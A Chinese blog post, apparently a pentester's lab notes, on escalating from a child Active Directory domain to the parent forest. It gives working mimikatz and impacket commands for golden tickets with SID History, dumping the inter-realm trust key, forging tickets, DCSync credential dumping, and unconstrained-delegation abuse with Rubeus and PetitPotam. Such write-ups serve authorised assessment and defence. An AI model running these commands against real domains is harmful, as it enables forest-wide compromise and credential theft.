前段时间帮几个客户做AD攻击面排查,发现有域林,但跨域攻击还不太会,看网上相关文章也不多,特地记录一下几种攻击方式。

环境介绍

父域:moon.lab 两个域控 ad-server.moon.lab = 10.10.10.1 certserver.moon.lab = 10.10.10.2

子域:a.moob.lab 一个域控 B-AD.a.moon.lab = 10.10.10.5


目前已经控制了子域的一台机器当做入口点,由于懒得打域控,就直接用域管账号密码,当做是拿下域控后进行操作

image-20240622170613764

黄金票据 + SID History

要使用黄金票据+SIDHistory必须要有以下几个条件

  1. 当前域SID
  2. 父域Enterprise Admins账户的SID
  3. 当前域krbtgt账户的hash

krbtgt的hash通过dcsync去获取就行了

以下演示一下如何获得以上信息,首先是当前域的SID,可以通过adfindadexplorer获得

查询SID

ADExplorer

连接上adexplorer之后点击当前域查看objectSid属性

image-20240622174017426

成功获得sid为S-1-5-21-3630734435-3836532205-689166442

Adfind

使用以下命令指定查询administroatr用户的sid

1
adfind.exe -sc u:administrator objectsid

image-20240622174913698

这里查询出两个用户的SID,一个是父域的一个是子域。

而父域的Enterprise Admins用户的SID为父域SID-519即S-1-5-21-4135803656-2414268689-2214011370-519

伪造票据

现在整理一下前面收集的信息

1
2
3
krbtgt hash:1d5267a559913316b91e6e5de976d7b7
子域sid:S-1-5-21-3630734435-3836532205-689166442
Enterprise Admins的SID:S-1-5-21-4135803656-2414268689-2214011370-519

接着伪造黄金票据

1
kerberos::golden /user:Administrator /domain:a.moon.lab /sid:S-1-5-21-3630734435-3836532205-689166442 /sids:S-1-5-21-4135803656-2414268689-2214011370-519 /krbtgt:1d5267a559913316b91e6e5de976d7b7 /ptt

image-20240622175624459

接着用dcsync去dump父域的hash测试是否成功

1
mimikatz lsadump::dcsync /domain:moon.lab /user:moonlab\krbtgt

image-20240622175920265

可以看到成功的导出,说明成功拿到父域权限

inter-realm key+SID History

跨域和普通的域认证有所不同,跨域认证需要个 inter-realm key,这个key就在两个信任域当中都存在。获取到 inter-realm key 就能制作访问其他域任意服务的 ST 服务票据了。然后在 ST 服务票据中加上企业管理员的 SID History,就可以以企业管理员权限访问域林中的任意服务。


那么该如何拿到这个key呢?只要获得了域林中任意域的域控制器权限,即可通过相关工具查询出key。

以下演示一下如何通过mimikatz和impacket工具获取这个key

获取inter-realm key

mimikatz

需要在域控上执行以下命令

1
mimikatz lsadump::turst /patch

image-20240622192809316

需要看从子域到父域的rc4_hmac_nt就是key

正常都知道在域内加了$符号的是机器账户。在域林内就不一样,在users组中带有$符号的就是信任账户,信任账户的ntlmhash就是key,所以我们去获取这个账户的hash即可。有以下两种方式找到这个账户

powershell

使用这句就能查到,但实战中可能环境问题powershell不方便,可以用另外一种方法

1
Get-ADUser -filter * -Properties DistinguishedName,samAccountType | ?{$_. name -like "*$"}

image-20240622193451572

Adfind

打开users组就能看到,实战推荐用这个查找

image-20240622193540363

之后通过secretsdump获取hash即可

image-20240622193803977

伪造票据

总结一下上面的信息

1
2
3
key hash:f6e0688688a20c4fbc217cc139926300
子域sid:S-1-5-21-3630734435-3836532205-689166442
Enterprise Admins的SID:S-1-5-21-4135803656-2414268689-2214011370-519

然后用ticketer.py去申请个TGT票据

1
python3 ticketer.py -nthash f6e0688688a20c4fbc217cc139926300 -domain-sid S-1-5-21-3630734435-3836532205-689166442 -extra-sid S-1-5-21-4135803656-2414268689-2214011370-519 -domain a.moon.lab -spn krbtgt/moon.lab administrator

image-20240622194113186

申请完TGT票据需要导入一下

1
export KRB5CCNAME=administrator.ccache

image-20240622194146585

可以用klist -l查看

image-20240622194206891

接着去申请一个父域CIFS的ST票据

1
python3 getST.py -k -no-pass -spn cifs/ad-server.moon.lab -dc-ip 10.10.10.1 moon.lab/administraotr

这里有个坑,在申请的时候会提示Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)这个就是时间不同步的,只要改一下时间就可以,但是这里得要同步的时间不是父域的时间

image-20240622194428394

这个时间是父域的时间,但是也不太对,后面改成子域的时间就ok了

image-20240622194528869

接着再导入一下ST票据,然后用secretsdump去导出父域的hash,成功导出

1
python3 secretsdump.py -no-pass -k a.moon.lab/[email protected] -just-dc-user "moonlab\krbtgt" -dc-ip 10.10.10.1

image-20240622194725710

非约束委派

在域控上默认是开非约束委派的,所以当我们拿到子域的域控,就可以利用非约束委派来攻击父域的域控。

要用rubeus进行监听

1
Rubeus.exe monitor /interval:1 /filteruser:AD-SERVER$ /nowrap

接着就用printerbug或者PetitPotam打触发就ok

image-20240622205812668